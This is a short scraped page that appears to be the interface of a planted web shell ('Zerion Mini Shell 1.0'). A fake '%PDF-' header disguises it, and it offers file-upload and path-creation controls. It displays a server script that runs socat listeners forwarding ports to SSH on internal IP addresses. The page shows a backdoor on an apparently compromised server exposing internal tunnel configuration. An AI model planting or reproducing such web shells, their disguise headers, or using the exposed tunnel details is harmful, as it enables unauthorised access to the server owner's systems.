%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /scripts2/
Upload File :
Create Path :
Current File : //scripts2/socat-tunnels.sh

# /bin/bash

for DATA in `cat /etc/socat.tunnels`
do
        USER=$(echo $DATA | cut -d '|' -f 1)
	IP=$(echo $DATA | cut -d '|' -f 2)
	PORT=$(echo "$IP" | awk -F '.' '{printf "%d%d%03d\n", $2, $3, $4}')


	runuser -u $USER -- socat TCP4-LISTEN:$PORT,fork,reuseaddr TCP4:$IP:22 &
done

Zerion Mini Shell 1.0